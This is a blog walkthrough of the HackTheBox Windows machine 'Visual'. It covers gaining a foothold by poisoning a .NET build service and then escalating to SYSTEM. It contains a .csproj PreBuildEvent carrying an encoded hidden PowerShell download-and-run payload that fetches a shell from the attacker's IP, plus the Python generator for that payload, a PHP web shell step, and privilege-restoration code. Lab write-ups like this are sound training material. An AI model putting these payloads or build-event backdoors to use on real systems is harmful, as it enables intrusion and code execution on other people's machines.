InfoSec Blog
  • 🏠Home
  • 🪪Trainings & Certification
    • APISec University
      • ASCP Review
    • OffSec
      • OSCP Review
  • 🚩CTFs
    • HackTheBox
      • Windows Machines
        • Visual
      • Web Challenges
        • Neonify
    • ROOTCON 18 PRE QUALIFIERS
      • Rock Paper Scissors Sh**t
      • Zippy
      • Super Secure Static Website
Powered by GitBook
On this page
  • SUMMARY
  • Enumeration
  • Setting up our local Git repository
  • Creating a simple .NET application
  • Exploiting Visual Studio build events
  • Getting a shell as enox
  • User Flag
  • Privilege Escalation
  • Enumeration of privileges
  • Exploiting the web service to gain a shell as LocalService
  • Enumerating Local Service capabilities
  • Exploiting Scheduled Tasks to gain back full privileges
  • Using GodPotato to get a shell as SYSTEM
  • Root Flag
  1. CTFs
  2. HackTheBox
  3. Windows Machines

Visual

PreviousWindows MachinesNextWeb Challenges

Last updated 1 year ago

SUMMARY

Visual is a Medium-level Windows machine from HackTheBox. It features a web service that build .NET 6.0 applications when provided with a Git repository. For initial access, one can use the PreBuild and PostBuild events from Visual Studio to poison the building and return a shell as enox.

After the initial access, one needs to pivot into Local Service by exploiting a weak configuration on the web directory, allowing us write access. Dropping a PHP web shell gives us access as Local Service.

To get to root, we need to gain back our full privileges as Local Service through the FullPowers binary and then using the GOD Potato attack to gain a shell as SYSTEM.

Enumeration

Doing our Nmap scan, we find only 1 port open which is HTTP. We see that the service version running in there is Apache httpd 2.4.56 (Win64 OpenSSL/1.1.1t PHP/8.1.17) which may indicate this may be running an XAMPP service and this is a Windows machine.

Visiting the web service, we find Visual which is a project compilation website that supports .NET 6.0 and C# code created in Visual Studio. We are only required to include a Git repository.

Setting up our local Git repository

To set up our own local Git repository, we can use Gitea which is a private, self-hosted software development service which can do Git hosting, code review, team collaboration, package registry, and CI/CD.

We can build a self-hosted Gitea service easily with Docker using their installation docs.

Once this is done, visiting localhost:3000, we are now greeted with our own Gitea instance.

Creating a simple .NET application

We can test the functionality of the Visual service by creating our own simple application that prints "Hello World!" and then executing it to be built on the application.

First, we create our own project, from here we’ll click Console App.

We can create the project name with whatever we want, I went with ConsoleAppTest. Under the Framework to be used, we should choose .NET 6.0 as this is what's used in the Visual service.

After this, we should get a Visual Studio screen that provides us an IDE to code in C#. We don’t actually need to do any code here so far; we only need to have the respective files and folders required to build the application.

We can create a local Git repository in our Gitea instance and make sure that we don’t click the Make Repository Private option as this allows our repository to be public to avoid issuse of the Visual service not reaching us.

After this, we now have our repository.

We now want to clone this repository on our local machine and then add in the files we created from the Visual Studio project to this repository.

The common path for the repositories directory for Visual Studio is under C:\Users\{User}\source\repos\{repo_name}. We can visit there and copy our files to our Kali machine.

After adding it with git add -A, we can now commit this into our local Gitea instance.

We now have our Visual Studio project in our Gitea instance.

We can now submit this into the application and see how it would be built by providing our VPN IP address as a replacement to [localhost](http://localhost) so that the service can reach us.

After a while, we get a proper build and we see our compiled .exe and .dll files.

Exploiting Visual Studio build events

Doing research on how one could exploit Visual Studio, we come across this article from Enox which talks about backdoor techniques around Visual Studio build events, specifically the Pre-Build and Post-Build events. These are features that allow developers to run custom commands at specific stages of the build process and when controlled by an attacker can lead to NTLMv2 theft or worse, Remote code execution.

Inspecting our own .csproj file, we find the code below. We can modify this by using the <PreBuildEvent> or <PostBuildEvent> to initiate remote code execution.

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>{insert command here}</PreBuildEvent>  // Injection point
  </PropertyGroup>

</Project>

We can edit this to first test if we can ping back our Kali machine, thus confirming that we do have RCE through this method.

After doing the necessary steps of updating our Git repository, we can now provide this to the Visual service for execution.

After a while, we get a call back from the Victim IP on our tcpdump, indicating that there is successful RCE.

Getting a shell as enox

Since we’ve confirmed that RCE is possible, we can generate an msfvenom stageless payload that creates a 64 bit reverse TCP shell for Windows and connects back to us via port 9000.

We can then use a Python script to generate a Powershell encoded payload which would be executed by the victim machine to download shell.exe, save it on C:\Windows\Tasks, and then execute it afterwards.

import base64

text = "iwr -uri http://10.10.14.15/shell.exe -Outfile c:\windows\\tasks\shell.exe;Start-Process c:\windows\\tasks\shell.exe;"  # Text we want to encode

bytes_text = text.encode('utf-16-le')
encoded_text = base64.b64encode(bytes_text).decode('utf-8')

cmd = "powershell.exe -nop -w hidden -e " + encoded_text

print(cmd)

We then update our .csproj file to include the output we got from the script above.

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net6.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <PreBuildEvent>powershell.exe -nop -w hidden -e aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgAxADUALwBzAGgAZQBsAGwALgBlAHgAZQAgAC0ATwB1AHQAZgBpAGwAZQAgAGMAOgBcAHcAaQBuAGQAbwB3AHMAXAB0AGEAcwBrAHMAXABzAGgAZQBsAGwALgBlAHgAZQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzAFwAcwBoAGUAbABsAC4AZQB4AGUAOwA=</PreBuildEvent>
  </PropertyGroup>

</Project>

After doing the necessary steps of updating our Git repository, we can now provide this to the Visual service for execution.

After a while, we now get a shell as enox.

User Flag

Under enox's Desktop folder, we find the user flag.

Privilege Escalation

Enumeration of privileges

Checking our privileges, we don’t find much that we can interact with. We do see that we are part of the NT Authority\Service group. What stands out here is that we do not have the common privileges when running as a service user (e.g., having the SeImpersonatePrivilege).

We can transfer over winpeas to the machine to enumerate further.

Reading the processes we own; we see that we don’t have any here that can say that we are running the web service.

Exploiting the web service to gain a shell as LocalService

We can assume that we are not running the Apache web service so someone else must be. Checking our permissions under C:\xampp\htdocs\, we find that everyone has Full Access here so anyone can create, delete, and write files into here.

We can create a simple web shell PHP script to execute if we give it the cmd query parameter when accessing /pwn.php.

Testing it out, we find that the service is actually running as NT Authority\Local Service.

We can edit our earlier Python script to generate a code but instead save the file as shell2.exe instead and generate a new PowerShell payload.

We now get a shell as LocalService.

Enumerating Local Service capabilities

We find that while we are running as LocalService now, we still are missing some of its default privileges such as SeImpersonatePrivilege among others.

Exploiting Scheduled Tasks to gain back full privileges

An article from itm4n showcases about adding a -k LocalServiceAndNoImpersonation option strips away most of our privileges when running the binary probably.

Using some PowerShell cmdlets, we find that the machine may be limiting our privileges.

From the same article, it’s said that we can create our own scheduled task to bypass this but a caveat here is that if RequiredPrivilege is not provided in the scheduled task definition, the default privileges of the task principal account without SeImpersonatePrivilege will be used instead. This can be bypassed by creating a Scheduled Task Principal using the New-ScheduledTaskPrincipal cmdlet, specifying all the privileges we want and adding it under the -RequiredPrivilege option.

# Create a list of privileges 
[System.String[]]$Privs = "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeImpersonatePrivilege", "SeIncreaseQuotaPrivilege", "SeShutdownPrivilege", "SeUndockPrivilege", "SeIncreaseWorkingSetPrivilege", "SeTimeZonePrivilege"
# Create a Principal for the task 
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs

Then, we just create the task as normally and we’ll get back our normal, default privileges. The article includes a link to FullPowers which is a binary coded in C# that does the exact same thing we require and is also created by itm4n.

We can transfer over the file to the victim machine.

Running the binary, we now get our full privileges back.

Using GodPotato to get a shell as SYSTEM

We can use GodPotato which is one of the newest Potato attacks that leverages SeImpersonatePrivilege for a quick win and works on most newest Windows systems.

Testing it out, we now get a shell as SYSTEM.

Root Flag

We now get the root flag in Administrator's Desktop folder.

🚩